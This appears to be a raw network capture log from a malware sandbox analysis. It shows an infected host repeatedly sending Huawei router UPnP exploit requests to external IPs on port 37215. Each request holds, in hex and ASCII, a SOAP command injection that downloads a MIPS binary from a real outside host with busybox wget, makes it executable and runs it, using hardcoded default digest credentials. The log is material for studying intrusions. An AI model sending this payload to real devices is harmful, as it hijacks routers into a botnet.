67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:16:30.918504953 CET	1316	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:16:39.113375902 CET	1563	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:16:55.235275984 CET	1962	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:17:28.510606050 CET	2876	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.2.23	55216	41.47.97.249	37215

Timestamp	kBytes transferred	Direction	Data
Nov 19, 2023 09:16:24.068427086 CET	1144	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:16:24.350884914 CET	1147	IN	HTTP/1.1 500 Internal Server Error Content-Type: text/xml; charset="utf-8" Server: Linux UPnP/1.0 Huawei-ATP-IGD EXT: Connection: Keep-Alive Content-Length: 398

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	41.47.97.249	37215	192.168.2.23	55216

Timestamp	kBytes transferred	Direction	Data
Nov 19, 2023 09:16:24.068427086 CET	1144	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:16:24.350884914 CET	1147	IN	HTTP/1.1 500 Internal Server Error Content-Type: text/xml; charset="utf-8" Server: Linux UPnP/1.0 Huawei-ATP-IGD EXT: Connection: Keep-Alive Content-Length: 398

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.23	38394	156.241.76.11	37215

Timestamp	kBytes transferred	Direction	Data
Nov 19, 2023 09:16:24.207922935 CET	1147	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:16:26.183288097 CET	1177	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:16:28.618808985 CET	1258	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 